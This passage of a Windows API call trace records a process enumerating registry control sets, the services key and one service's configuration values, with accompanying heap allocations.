lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0241.674] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0241.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0241.674] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0241.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0241.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1928, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0241.674] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0241.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0241.675] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0241.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0241.675] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0241.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0241.675] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0241.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0241.675] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0241.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0241.675] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0241.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0241.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1928, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0241.676] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0241.676] RegCloseKey (hKey=0x14c) returned 0x0 [0241.676] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0241.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0241.676] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0241.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0241.676] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0241.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0241.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0241.676] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0241.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0241.677] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0241.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0241.677] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0241.677] RegCloseKey (hKey=0x150) returned 0x0 [0241.677] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0241.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0241.677] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0241.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0241.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a90, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0241.677] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0241.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0241.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1928, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0241.677] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0241.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0241.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a90, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0241.678] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0241.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0241.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1928, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0241.678] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0241.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0241.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0241.678] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0241.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0241.678] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0241.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0241.678] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0241.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0241.679] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0241.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0241.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.679] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0241.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0241.679] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0241.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.679] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0241.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0241.679] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0241.679] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0241.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0241.679] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0241.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0241.679] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0241.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0241.680] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0241.680] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0241.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0241.680] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0241.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0241.680] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0241.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0241.680] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.680] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0241.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0241.680] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0241.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0241.680] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0241.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0241.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0241.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0241.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0241.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0241.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0241.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0241.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0241.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0241.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0241.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0241.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0241.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0241.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0241.681] 